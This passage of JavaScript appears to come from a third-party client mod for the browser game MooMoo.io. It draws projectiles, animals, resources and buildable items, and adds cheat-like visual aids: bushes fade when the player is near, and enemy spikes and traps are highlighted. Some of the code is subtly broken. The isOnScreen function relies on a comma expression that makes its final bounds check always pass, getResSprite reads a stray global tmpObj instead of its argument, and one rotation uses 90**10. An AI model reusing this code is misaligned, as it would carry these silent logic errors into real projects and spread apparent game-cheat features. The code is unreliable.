  10206. let tmpSprite = projectileSprites[tmpSrc];
  10207. if (!tmpSprite) {
  10208. tmpSprite = new Image();
  10209. tmpSprite.onload = function() {
  10210. this.isLoaded = true;
  10211. }
  10212. tmpSprite.src = "https://moomoo.io/img/weapons/" + tmpSrc + ".png";
  10213. projectileSprites[tmpSrc] = tmpSprite;
  10214. }
  10215. if (tmpSprite.isLoaded)
  10216. ctxt.drawImage(tmpSprite, x - (obj.scale / 2), y - (obj.scale / 2), obj.scale, obj.scale);
  10217. } else if (obj.indx == 1) {
  10218. ctxt.fillStyle = "#939393";
  10219. renderCircle(x, y, obj.scale, ctxt);
  10220. }
  10221. }
  10222.  
  10223. // RENDER AI:
  10224. let aiSprites = {};
  10225.  
  10226. function renderAI(obj, ctxt) {
  10227. let tmpIndx = obj.index;
  10228. let tmpSprite = aiSprites[tmpIndx];
  10229. if (!tmpSprite) {
  10230. let tmpImg = new Image();
  10231. tmpImg.onload = function() {
  10232. this.isLoaded = true;
  10233. this.onload = null;
  10234. };
  10235. tmpImg.src = "https://moomoo.io/img/animals/" + obj.src + ".png";
  10236. tmpSprite = tmpImg;
  10237. aiSprites[tmpIndx] = tmpSprite;
  10238. }
  10239. if (tmpSprite.isLoaded) {
  10240. let tmpScale = obj.scale * 1.2 * (obj.spriteMlt || 1);
  10241. ctxt.drawImage(tmpSprite, -tmpScale, -tmpScale, tmpScale * 2, tmpScale * 2);
  10242. }
  10243. }
  10244.  
  10245. // RENDER WATER BODIES:
  10246. function renderWaterBodies(xOffset, yOffset, ctxt, padding) {
  10247.  
  10248. // MIDDLE RIVER:
  10249. let tmpW = config.riverWidth + padding;
  10250. let tmpY = (config.mapScale / 2) - yOffset - (tmpW / 2);
  10251. if (tmpY < maxScreenHeight && tmpY + tmpW > 0) {
  10252. ctxt.fillRect(0, tmpY, maxScreenWidth, tmpW);
  10253. }
  10254. }
  10255.  
  10256. // RENDER GAME OBJECTS:
  10257. let gameObjectSprites = {};
  10258.  
  10259. function getResSprite(obj) {
  10260. let biomeID = (obj.y >= config.mapScale - config.snowBiomeTop) ? 2 : ((obj.y <= config.snowBiomeTop) ? 1 : 0);
  10261. let tmpIndex = (obj.type + "_" + obj.scale + "_" + biomeID);
  10262. let tmpSprite = gameObjectSprites[tmpIndex];
  10263. if (!tmpSprite) {
  10264. let blurScale = 6;
  10265. let tmpCanvas = document.createElement("canvas");
  10266. tmpCanvas.width = tmpCanvas.height = (obj.scale * 2.1) + outlineWidth;
  10267. let tmpContext = tmpCanvas.getContext('2d');
  10268. tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
  10269. tmpContext.rotate(UTILS.randFloat(0, Math.PI));
  10270. tmpContext.strokeStyle = outlineColor;
  10271. tmpContext.lineWidth = outlineWidth;
  10272. // if (isNight) {
  10273. // tmpContext.shadowBlur = blurScale;
  10274. // tmpContext.shadowColor = `rgba(0, 0, 0, ${obj.alpha})`;
  10275. // }
  10276. if (obj.type == 0) {
  10277. let tmpScale;
  10278. let tmpCount = 8;
  10279. tmpContext.globalAlpha = (cdf(obj, player) <= 250 ? 0.6 : 1);
  10280. for (let i = 0; i < 2; ++i) {
  10281. tmpScale = tmpObj.scale * (!i ? 1 : 0.5);
  10282. renderStar(tmpContext, tmpCount, tmpScale, tmpScale * 0.7);
  10283. tmpContext.fillStyle = !biomeID ? (!i ? "#9ebf57" : "#b4db62") : (!i ? "#e3f1f4" : "#fff");
  10284. tmpContext.fill();
  10285. if (!i) {
  10286. tmpContext.stroke();
  10287. tmpContext.shadowBlur = null;
  10288. tmpContext.shadowColor = null;
  10289. tmpContext.globalAlpha = 1;
  10290. }
  10291. }
  10292. } else if (obj.type == 1) {
  10293. if (biomeID == 2) {
  10294. tmpContext.fillStyle = "#606060";
  10295. renderStar(tmpContext, 6, obj.scale * 0.3, obj.scale * 0.71);
  10296. tmpContext.fill();
  10297. tmpContext.stroke();
  10298.  
  10299. //tmpContext.shadowBlur = null;
  10300. //tmpContext.shadowColor = null;
  10301.  
  10302. tmpContext.fillStyle = "#89a54c";
  10303. renderCircle(0, 0, obj.scale * 0.55, tmpContext);
  10304. tmpContext.fillStyle = "#a5c65b";
  10305. renderCircle(0, 0, obj.scale * 0.3, tmpContext, true);
  10306. } else {
  10307. renderBlob(tmpContext, 6, tmpObj.scale, tmpObj.scale * 0.7);
  10308. tmpContext.fillStyle = biomeID ? "#e3f1f4" : "#89a54c";
  10309. tmpContext.fill();
  10310. tmpContext.stroke();
  10311.  
  10312. //tmpContext.shadowBlur = null;
  10313. //tmpContext.shadowColor = null;
  10314.  
  10315. tmpContext.fillStyle = biomeID ? "#6a64af" : "#c15555";
  10316. let tmpRange;
  10317. let berries = 4;
  10318. let rotVal = (Math.PI * 2) / berries;
  10319. for (let i = 0; i < berries; ++i) {
  10320. tmpRange = UTILS.randInt(tmpObj.scale / 3.5, tmpObj.scale / 2.3);
  10321. renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
  10322. UTILS.randInt(10, 12), tmpContext);
  10323. }
  10324. }
  10325. } else if (obj.type == 2 || obj.type == 3) {
  10326. tmpContext.fillStyle = (obj.type == 2) ? (biomeID == 2 ? "#938d77" : "#939393") : "#e0c655";
  10327. renderStar(tmpContext, 3, obj.scale, obj.scale);
  10328. tmpContext.fill();
  10329. tmpContext.stroke();
  10330.  
  10331. tmpContext.shadowBlur = null;
  10332. tmpContext.shadowColor = null;
  10333.  
  10334. tmpContext.fillStyle = (obj.type == 2) ? (biomeID == 2 ? "#b2ab90" : "#bcbcbc") : "#ebdca3";
  10335. renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
  10336. tmpContext.fill();
  10337. }
  10338. tmpSprite = tmpCanvas;
  10339. gameObjectSprites[tmpIndex] = tmpSprite;
  10340. }
  10341. return tmpSprite;
  10342. }
  10343.  
  10344. // GET ITEM SPRITE:
  10345. let itemSprites = [];
  10346.  
  10347. function getItemSprite(obj, asIcon) {
  10348. let tmpSprite = itemSprites[obj.id];
  10349. if (!tmpSprite || asIcon) {
  10350. let blurScale = !asIcon ? 20 : 5;
  10351. let tmpCanvas = document.createElement("canvas");
  10352. let reScale = ((!asIcon && obj.name == "windmill") ? items.list[4].scale : obj.scale);
  10353. tmpCanvas.width = tmpCanvas.height = (reScale * 2.5) + outlineWidth + (items.list[obj.id].spritePadding || 0) + blurScale;
  10354.  
  10355. let tmpContext = tmpCanvas.getContext("2d");
  10356. tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
  10357. tmpContext.rotate(asIcon ? 0 : (Math.PI / 2));
  10358. tmpContext.strokeStyle = outlineColor;
  10359. tmpContext.lineWidth = outlineWidth * (asIcon ? (tmpCanvas.width / 81) : 1);
  10360. if (!asIcon) {
  10361. tmpContext.shadowBlur = 8;
  10362. tmpContext.shadowColor = `rgba(0, 0, 0, 0.2)`;
  10363. }
  10364.  
  10365. if (obj.name == "apple") {
  10366. tmpContext.fillStyle = "#c15555";
  10367. renderCircle(0, 0, obj.scale, tmpContext);
  10368. tmpContext.fillStyle = "#89a54c";
  10369. let leafDir = -(Math.PI / 2);
  10370. renderLeaf(obj.scale * Math.cos(leafDir), obj.scale * Math.sin(leafDir),
  10371. 25, leafDir + Math.PI / 2, tmpContext);
  10372. } else if (obj.name == "cookie") {
  10373. tmpContext.fillStyle = "#cca861";
  10374. renderCircle(0, 0, obj.scale, tmpContext);
  10375. tmpContext.fillStyle = "#937c4b";
  10376. let chips = 4;
  10377. let rotVal = (Math.PI * 2) / chips;
  10378. let tmpRange;
  10379. for (let i = 0; i < chips; ++i) {
  10380. tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
  10381. renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
  10382. UTILS.randInt(4, 5), tmpContext, true);
  10383. }
  10384. } else if (obj.name == "cheese") {
  10385. tmpContext.fillStyle = "#f4f3ac";
  10386. renderCircle(0, 0, obj.scale, tmpContext);
  10387. tmpContext.fillStyle = "#c3c28b";
  10388. let chips = 4;
  10389. let rotVal = (Math.PI * 2) / chips;
  10390. let tmpRange;
  10391. for (let i = 0; i < chips; ++i) {
  10392. tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
  10393. renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
  10394. UTILS.randInt(4, 5), tmpContext, true);
  10395. }
  10396. } else if (obj.name == "wood wall" || obj.name == "stone wall" || obj.name == "castle wall") {
  10397. tmpContext.fillStyle = (obj.name == "castle wall") ? "#83898e" : (obj.name == "wood wall") ?
  10398. "#a5974c" : "#939393";
  10399. let sides = (obj.name == "castle wall") ? 4 : 3;
  10400. renderStar(tmpContext, sides, obj.scale * 1.1, obj.scale * 1.1);
  10401. tmpContext.fill();
  10402. tmpContext.stroke();
  10403. tmpContext.fillStyle = (obj.name == "castle wall") ? "#9da4aa" : (obj.name == "wood wall") ?
  10404. "#c9b758" : "#bcbcbc";
  10405. renderStar(tmpContext, sides, obj.scale * 0.65, obj.scale * 0.65);
  10406. tmpContext.fill();
  10407. } else if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes" ||
  10408. obj.name == "spinning spikes") {
  10409. tmpContext.fillStyle = (obj.name == "poison spikes") ? "#7b935d" : "#939393";
  10410. let tmpScale = (obj.scale * 0.6);
  10411. renderStar(tmpContext, (obj.name == "spikes") ? 5 : 6, obj.scale, tmpScale);
  10412. tmpContext.fill();
  10413. tmpContext.stroke();
  10414. tmpContext.fillStyle = "#a5974c";
  10415. renderCircle(0, 0, tmpScale, tmpContext);
  10416. tmpContext.fillStyle = "#c9b758";
  10417. renderCircle(0, 0, tmpScale / 2, tmpContext, true);
  10418. } else if (obj.name == "windmill" || obj.name == "faster windmill" || obj.name == "power mill") {
  10419. tmpContext.fillStyle = "#a5974c";
  10420. renderCircle(0, 0, reScale, tmpContext);
  10421. tmpContext.fillStyle = "#c9b758";
  10422. renderRectCircle(0, 0, reScale * 1.5, 29, 4, tmpContext);
  10423. tmpContext.fillStyle = "#a5974c";
  10424. renderCircle(0, 0, reScale * 0.5, tmpContext);
  10425. } else if (obj.name == "mine") {
  10426. tmpContext.fillStyle = "#939393";
  10427. renderStar(tmpContext, 3, obj.scale, obj.scale);
  10428. tmpContext.fill();
  10429. tmpContext.stroke();
  10430. tmpContext.fillStyle = "#bcbcbc";
  10431. renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
  10432. tmpContext.fill();
  10433. } else if (obj.name == "sapling") {
  10434. for (let i = 0; i < 2; ++i) {
  10435. let tmpScale = obj.scale * (!i ? 1 : 0.5);
  10436. renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
  10437. tmpContext.fillStyle = (!i ? "#9ebf57" : "#b4db62");
  10438. tmpContext.fill();
  10439. if (!i) tmpContext.stroke();
  10440. }
  10441. } else if (obj.name == "pit trap") {
  10442. tmpContext.fillStyle = "#a5974c";
  10443. renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
  10444. tmpContext.fill();
  10445. tmpContext.stroke();
  10446. tmpContext.fillStyle = outlineColor;
  10447. renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
  10448. tmpContext.fill();
  10449. } else if (obj.name == "boost pad") {
  10450. tmpContext.fillStyle = "#7e7f82";
  10451. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10452. tmpContext.fill();
  10453. tmpContext.stroke();
  10454. tmpContext.fillStyle = "#dbd97d";
  10455. renderTriangle(obj.scale * 1, tmpContext);
  10456. } else if (obj.name == "turret") {
  10457. tmpContext.fillStyle = "#a5974c";
  10458. renderCircle(0, 0, obj.scale, tmpContext);
  10459. tmpContext.fill();
  10460. tmpContext.stroke();
  10461. tmpContext.fillStyle = "#939393";
  10462. let tmpLen = 50;
  10463. renderRect(0, -tmpLen / 2, obj.scale * 0.9, tmpLen, tmpContext);
  10464. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10465. tmpContext.fill();
  10466. tmpContext.stroke();
  10467. } else if (obj.name == "platform") {
  10468. tmpContext.fillStyle = "#cebd5f";
  10469. let tmpCount = 4;
  10470. let tmpS = obj.scale * 2;
  10471. let tmpW = tmpS / tmpCount;
  10472. let tmpX = -(obj.scale / 2);
  10473. for (let i = 0; i < tmpCount; ++i) {
  10474. renderRect(tmpX - (tmpW / 2), 0, tmpW, obj.scale * 2, tmpContext);
  10475. tmpContext.fill();
  10476. tmpContext.stroke();
  10477. tmpX += tmpS / tmpCount;
  10478. }
  10479. } else if (obj.name == "healing pad") {
  10480. tmpContext.fillStyle = "#7e7f82";
  10481. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10482. tmpContext.fill();
  10483. tmpContext.stroke();
  10484. tmpContext.fillStyle = "#db6e6e";
  10485. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10486. } else if (obj.name == "spawn pad") {
  10487. tmpContext.fillStyle = "#7e7f82";
  10488. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10489. tmpContext.fill();
  10490. tmpContext.stroke();
  10491. tmpContext.fillStyle = "#71aad6";
  10492. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10493. } else if (obj.name == "blocker") {
  10494. tmpContext.fillStyle = "#7e7f82";
  10495. renderCircle(0, 0, obj.scale, tmpContext);
  10496. tmpContext.fill();
  10497. tmpContext.stroke();
  10498. tmpContext.rotate(Math.PI / 4);
  10499. tmpContext.fillStyle = "#db6e6e";
  10500. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10501. } else if (obj.name == "teleporter") {
  10502. tmpContext.fillStyle = "#7e7f82";
  10503. renderCircle(0, 0, obj.scale, tmpContext);
  10504. tmpContext.fill();
  10505. tmpContext.stroke();
  10506. tmpContext.rotate(Math.PI / 4);
  10507. tmpContext.fillStyle = "#d76edb";
  10508. renderCircle(0, 0, obj.scale * 0.5, tmpContext, true);
  10509. }
  10510. tmpSprite = tmpCanvas;
  10511. if (!asIcon)
  10512. itemSprites[obj.id] = tmpSprite;
  10513. }
  10514. return tmpSprite;
  10515. }
  10516.  
  10517. function getItemSprite2(obj, tmpX, tmpY) {
  10518. let tmpContext = mainContext;
  10519. let reScale = (obj.name == "windmill" ? items.list[4].scale : obj.scale);
  10520. tmpContext.save();
  10521. tmpContext.translate(tmpX, tmpY);
  10522. tmpContext.rotate(obj.dir);
  10523. tmpContext.strokeStyle = outlineColor;
  10524. tmpContext.lineWidth = outlineWidth;
  10525. if (obj.name == "apple") {
  10526. tmpContext.fillStyle = "#c15555";
  10527. renderCircle(0, 0, obj.scale, tmpContext);
  10528. tmpContext.fillStyle = "#89a54c";
  10529. let leafDir = -(Math.PI / 2);
  10530. renderLeaf(obj.scale * Math.cos(leafDir), obj.scale * Math.sin(leafDir),
  10531. 25, leafDir + Math.PI / 2, tmpContext);
  10532. } else if (obj.name == "cookie") {
  10533. tmpContext.fillStyle = "#cca861";
  10534. renderCircle(0, 0, obj.scale, tmpContext);
  10535. tmpContext.fillStyle = "#937c4b";
  10536. let chips = 4;
  10537. let rotVal = (Math.PI * 2) / chips;
  10538. let tmpRange;
  10539. for (let i = 0; i < chips; ++i) {
  10540. tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
  10541. renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
  10542. UTILS.randInt(4, 5), tmpContext, true);
  10543. }
  10544. } else if (obj.name == "cheese") {
  10545. tmpContext.fillStyle = "#f4f3ac";
  10546. renderCircle(0, 0, obj.scale, tmpContext);
  10547. tmpContext.fillStyle = "#c3c28b";
  10548. let chips = 4;
  10549. let rotVal = (Math.PI * 2) / chips;
  10550. let tmpRange;
  10551. for (let i = 0; i < chips; ++i) {
  10552. tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
  10553. renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
  10554. UTILS.randInt(4, 5), tmpContext, true);
  10555. }
  10556. } else if (obj.name == "wood wall" || obj.name == "stone wall" || obj.name == "castle wall") {
  10557. tmpContext.fillStyle = (obj.name == "castle wall") ? "#83898e" : (obj.name == "wood wall") ?
  10558. "#a5974c" : "#939393";
  10559. let sides = (obj.name == "castle wall") ? 4 : 3;
  10560. renderStar(tmpContext, sides, obj.scale * 1.1, obj.scale * 1.1);
  10561. tmpContext.fill();
  10562. tmpContext.stroke();
  10563. tmpContext.fillStyle = (obj.name == "castle wall") ? "#9da4aa" : (obj.name == "wood wall") ?
  10564. "#c9b758" : "#bcbcbc";
  10565. renderStar(tmpContext, sides, obj.scale * 0.65, obj.scale * 0.65);
  10566. tmpContext.fill();
  10567. } else if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes" ||
  10568. obj.name == "spinning spikes") {
  10569. tmpContext.fillStyle = (obj.name == "poison spikes") ? "#7b935d" : "#939393";
  10570. let tmpScale = (obj.scale * 0.6);
  10571. renderStar(tmpContext, (obj.name == "spikes") ? 5 : 6, obj.scale, tmpScale);
  10572. tmpContext.fill();
  10573. tmpContext.stroke();
  10574. tmpContext.fillStyle = "#a5974c";
  10575. renderCircle(0, 0, tmpScale, tmpContext);
  10576. tmpContext.fillStyle = "#c9b758";
  10577. renderCircle(0, 0, tmpScale / 2, tmpContext, true);
  10578. } else if (obj.name == "windmill" || obj.name == "faster windmill" || obj.name == "power mill") {
  10579. tmpContext.fillStyle = "#a5974c";
  10580. renderCircle(0, 0, reScale, tmpContext);
  10581. tmpContext.fillStyle = "#c9b758";
  10582. renderRectCircle(0, 0, reScale * 1.5, 29, 4, tmpContext);
  10583. tmpContext.fillStyle = "#a5974c";
  10584. renderCircle(0, 0, reScale * 0.5, tmpContext);
  10585. } else if (obj.name == "mine") {
  10586. tmpContext.fillStyle = "#939393";
  10587. renderStar(tmpContext, 3, obj.scale, obj.scale);
  10588. tmpContext.fill();
  10589. tmpContext.stroke();
  10590. tmpContext.fillStyle = "#bcbcbc";
  10591. renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
  10592. tmpContext.fill();
  10593. } else if (obj.name == "sapling") {
  10594. for (let i = 0; i < 2; ++i) {
  10595. let tmpScale = obj.scale * (!i ? 1 : 0.5);
  10596. renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
  10597. tmpContext.fillStyle = (!i ? "#9ebf57" : "#b4db62");
  10598. tmpContext.fill();
  10599. if (!i) tmpContext.stroke();
  10600. }
  10601. } else if (obj.name == "pit trap") {
  10602. tmpContext.fillStyle = "#a5974c";
  10603. renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
  10604. tmpContext.fill();
  10605. tmpContext.stroke();
  10606. tmpContext.fillStyle = outlineColor;
  10607. renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
  10608. tmpContext.fill();
  10609. } else if (obj.name == "boost pad") {
  10610. tmpContext.fillStyle = "#7e7f82";
  10611. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10612. tmpContext.fill();
  10613. tmpContext.stroke();
  10614. tmpContext.fillStyle = "#dbd97d";
  10615. renderTriangle(obj.scale * 1, tmpContext);
  10616. } else if (obj.name == "turret") {
  10617. tmpContext.fillStyle = "#a5974c";
  10618. renderCircle(0, 0, obj.scale, tmpContext);
  10619. tmpContext.fill();
  10620. tmpContext.stroke();
  10621. tmpContext.fillStyle = "#939393";
  10622. let tmpLen = 50;
  10623. renderRect(0, -tmpLen / 2, obj.scale * 0.9, tmpLen, tmpContext);
  10624. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10625. tmpContext.fill();
  10626. tmpContext.stroke();
  10627. } else if (obj.name == "platform") {
  10628. tmpContext.fillStyle = "#cebd5f";
  10629. let tmpCount = 4;
  10630. let tmpS = obj.scale * 2;
  10631. let tmpW = tmpS / tmpCount;
  10632. let tmpX = -(obj.scale / 2);
  10633. for (let i = 0; i < tmpCount; ++i) {
  10634. renderRect(tmpX - (tmpW / 2), 0, tmpW, obj.scale * 2, tmpContext);
  10635. tmpContext.fill();
  10636. tmpContext.stroke();
  10637. tmpX += tmpS / tmpCount;
  10638. }
  10639. } else if (obj.name == "healing pad") {
  10640. tmpContext.fillStyle = "#7e7f82";
  10641. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10642. tmpContext.fill();
  10643. tmpContext.stroke();
  10644. tmpContext.fillStyle = "#db6e6e";
  10645. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10646. } else if (obj.name == "spawn pad") {
  10647. tmpContext.fillStyle = "#7e7f82";
  10648. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10649. tmpContext.fill();
  10650. tmpContext.stroke();
  10651. tmpContext.fillStyle = "#71aad6";
  10652. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10653. } else if (obj.name == "blocker") {
  10654. tmpContext.fillStyle = "#7e7f82";
  10655. renderCircle(0, 0, obj.scale, tmpContext);
  10656. tmpContext.fill();
  10657. tmpContext.stroke();
  10658. tmpContext.rotate(Math.PI / 4);
  10659. tmpContext.fillStyle = "#db6e6e";
  10660. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10661. } else if (obj.name == "teleporter") {
  10662. tmpContext.fillStyle = "#7e7f82";
  10663. renderCircle(0, 0, obj.scale, tmpContext);
  10664. tmpContext.fill();
  10665. tmpContext.stroke();
  10666. tmpContext.rotate(Math.PI / 4);
  10667. tmpContext.fillStyle = "#d76edb";
  10668. renderCircle(0, 0, obj.scale * 0.5, tmpContext, true);
  10669. }
  10670. tmpContext.restore();
  10671. }
  10672.  
  10673. let objSprites = [];
  10674.  
  10675. function getObjSprite(obj) {
  10676. let tmpSprite = objSprites[obj.id];
  10677. if (!tmpSprite) {
  10678. // let blurScale = isNight ? 20 : 0;
  10679. let tmpCanvas = document.createElement("canvas");
  10680. tmpCanvas.width = tmpCanvas.height = obj.scale * 2.5 + outlineWidth + (items.list[obj.id].spritePadding || 0) + 0;
  10681. let tmpContext = tmpCanvas.getContext("2d");
  10682. tmpContext.translate(tmpCanvas.width / 2, tmpCanvas.height / 2);
  10683. tmpContext.rotate(Math.PI / 2);
  10684. tmpContext.strokeStyle = outlineColor;
  10685. tmpContext.lineWidth = outlineWidth;
  10686. // if (isNight) {
  10687. // tmpContext.shadowBlur = 20;
  10688. // tmpContext.shadowColor = `rgba(0, 0, 0, ${Math.min(0.3, obj.alpha)})`;
  10689. // }
  10690. if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes" || obj.name == "spinning spikes") {
  10691. tmpContext.fillStyle = obj.name == "poison spikes" ? "#7b935d" : "#939393";
  10692. let tmpScale = obj.scale * 0.6;
  10693. renderStar(tmpContext, obj.name == "spikes" ? 5 : 6, obj.scale, tmpScale);
  10694. tmpContext.fill();
  10695. tmpContext.stroke();
  10696. tmpContext.fillStyle = "#a5974c";
  10697. renderCircle(0, 0, tmpScale, tmpContext);
  10698. tmpContext.fillStyle = "#cc5151";
  10699. renderCircle(0, 0, tmpScale / 2, tmpContext, true);
  10700. } else if (obj.name == "pit trap") {
  10701. tmpContext.fillStyle = "#a5974c";
  10702. renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
  10703. tmpContext.fill();
  10704. tmpContext.stroke();
  10705. tmpContext.fillStyle = "#cc5151";
  10706. renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
  10707. tmpContext.fill();
  10708. }
  10709. tmpSprite = tmpCanvas;
  10710. objSprites[obj.id] = tmpSprite;
  10711. }
  10712. return tmpSprite;
  10713. }
  10714.  
  10715. // GET MARK SPRITE:
  10716. function getMarkSprite(obj, tmpContext, tmpX, tmpY) {
  10717. let center = {
  10718. x: screenWidth / 2,
  10719. y: screenHeight / 2,
  10720. };
  10721. tmpContext.lineWidth = outlineWidth;
  10722. mainContext.globalAlpha = 0.2;
  10723. tmpContext.strokeStyle = outlineColor;
  10724. tmpContext.save();
  10725. tmpContext.translate(tmpX, tmpY);
  10726. tmpContext.rotate(90**10);
  10727. if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes" || obj.name == "spinning spikes") {
  10728. tmpContext.fillStyle = (obj.name == "poison spikes")?"#7b935d":"#939393";
  10729. var tmpScale = (obj.scale);
  10730. renderStar(tmpContext, (obj.name == "spikes")?5:6, obj.scale, tmpScale);
  10731. tmpContext.fill();
  10732. tmpContext.stroke();
  10733. tmpContext.fillStyle = "#a5974c";
  10734. renderCircle(0, 0, tmpScale, tmpContext);
  10735. if (player && obj.owner && player.sid != obj.owner.sid && !tmpObj.findAllianceBySid(obj.owner.sid)) {
  10736. tmpContext.fillStyle = "#a34040";
  10737. } else {
  10738. tmpContext.fillStyle = "#c9b758";
  10739. }
  10740. renderCircle(0, 0, tmpScale/2, tmpContext, true);
  10741. } else if (obj.name == "turret") {
  10742. renderCircle(0, 0, obj.scale, tmpContext);
  10743. tmpContext.fill();
  10744. tmpContext.stroke();
  10745. tmpContext.fillStyle = "#939393";
  10746. let tmpLen = 50;
  10747. renderRect(0, -tmpLen / 2, obj.scale * 0.9, tmpLen, tmpContext);
  10748. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10749. tmpContext.fill();
  10750. tmpContext.stroke();
  10751. } else if (obj.name == "teleporter") {
  10752. tmpContext.fillStyle = "#7e7f82";
  10753. renderCircle(0, 0, obj.scale, tmpContext);
  10754. tmpContext.fill();
  10755. tmpContext.stroke();
  10756. tmpContext.rotate(Math.PI / 4);
  10757. tmpContext.fillStyle = "#d76edb";
  10758. renderCircle(0, 0, obj.scale * 0.5, tmpContext, true);
  10759. } else if (obj.name == "platform") {
  10760. tmpContext.fillStyle = "#cebd5f";
  10761. let tmpCount = 4;
  10762. let tmpS = obj.scale * 2;
  10763. let tmpW = tmpS / tmpCount;
  10764. let tmpX = -(obj.scale / 2);
  10765. for (let i = 0; i < tmpCount; ++i) {
  10766. renderRect(tmpX - (tmpW / 2), 0, tmpW, obj.scale * 2, tmpContext);
  10767. tmpContext.fill();
  10768. tmpContext.stroke();
  10769. tmpX += tmpS / tmpCount;
  10770. }
  10771. } else if (obj.name == "healing pad") {
  10772. tmpContext.fillStyle = "#7e7f82";
  10773. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10774. tmpContext.fill();
  10775. tmpContext.stroke();
  10776. tmpContext.fillStyle = "#db6e6e";
  10777. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10778. } else if (obj.name == "spawn pad") {
  10779. tmpContext.fillStyle = "#7e7f82";
  10780. renderRect(0, 0, obj.scale * 2, obj.scale * 2, tmpContext);
  10781. tmpContext.fill();
  10782. tmpContext.stroke();
  10783. tmpContext.fillStyle = "#71aad6";
  10784. renderCircle(0, 0, obj.scale * 0.6, tmpContext);
  10785. } else if (obj.name == "blocker") {
  10786. tmpContext.fillStyle = "#7e7f82";
  10787. renderCircle(0, 0, obj.scale, tmpContext);
  10788. tmpContext.fill();
  10789. tmpContext.stroke();
  10790. tmpContext.rotate(Math.PI / 4);
  10791. tmpContext.fillStyle = "#db6e6e";
  10792. renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
  10793. } else if (obj.name == "windmill" || obj.name == "faster windmill" || obj.name == "power mill") {
  10794. tmpContext.fillStyle = "#a5974c";
  10795. renderCircle(0, 0, obj.scale, tmpContext);
  10796. tmpContext.fillStyle = "#c9b758";
  10797. renderRectCircle(0, 0, obj.scale * 1.5, 29, 4, tmpContext);
  10798. tmpContext.fillStyle = "#a5974c";
  10799. renderCircle(0, 0, obj.scale * 0.5, tmpContext);
  10800.  
  10801. } else if (obj.name == "pit trap") {
  10802. tmpContext.fillStyle = "#a5974c";
  10803. renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
  10804. tmpContext.fill();
  10805. tmpContext.stroke();
  10806. if (player && obj.owner && player.sid != obj.owner.sid && !tmpObj.findAllianceBySid(obj.owner.sid)) {
  10807. tmpContext.fillStyle = "#a34040";
  10808. } else {
  10809. tmpContext.fillStyle = outlineColor;
  10810. }
  10811. renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
  10812. tmpContext.fill();
  10813. }
  10814. tmpContext.restore();
  10815. }
  10816.  
  10817. // OBJECT ON SCREEN:
  10818. function isOnScreen(x, y, s) {
  10819. return (x + s >= 0 && x - s <= maxScreenWidth && y + s >= 0 && (y,
  10820. s,
  10821. maxScreenHeight));
  10822. }
  10823.  
  10824. // RENDER GAME OBJECTS:
  10825. function renderGameObjects(layer, xOffset, yOffset) {
  10826. let tmpSprite;
  10827. let tmpX;
  10828. let tmpY;
  10829. liztobj.forEach((tmp) => {
  10830. tmpObj = tmp;
  10831. if (tmpObj.active && liztobj.includes(tmp) && tmpObj.render) {
  10832. tmpX = tmpObj.x + tmpObj.xWiggle - xOffset;
  10833. tmpY = tmpObj.y + tmpObj.yWiggle - yOffset;
  10834. if (layer == 0) {
  10835. tmpObj.update(delta);
  10836. }
  10837. mainContext.globalAlpha = tmpObj.alpha;
  10838. if (tmpObj.layer == layer && isOnScreen(tmpX, tmpY, tmpObj.scale + (tmpObj.blocker || 0))) {
  10839. if (tmpObj.isItem) {
  10840. if ((tmpObj.dmg || tmpObj.trap) && !tmpObj.isTeamObject(player)) {
  10841. tmpSprite = getObjSprite(tmpObj);
  10842. } else {
  10843. tmpSprite = getItemSprite(tmpObj);
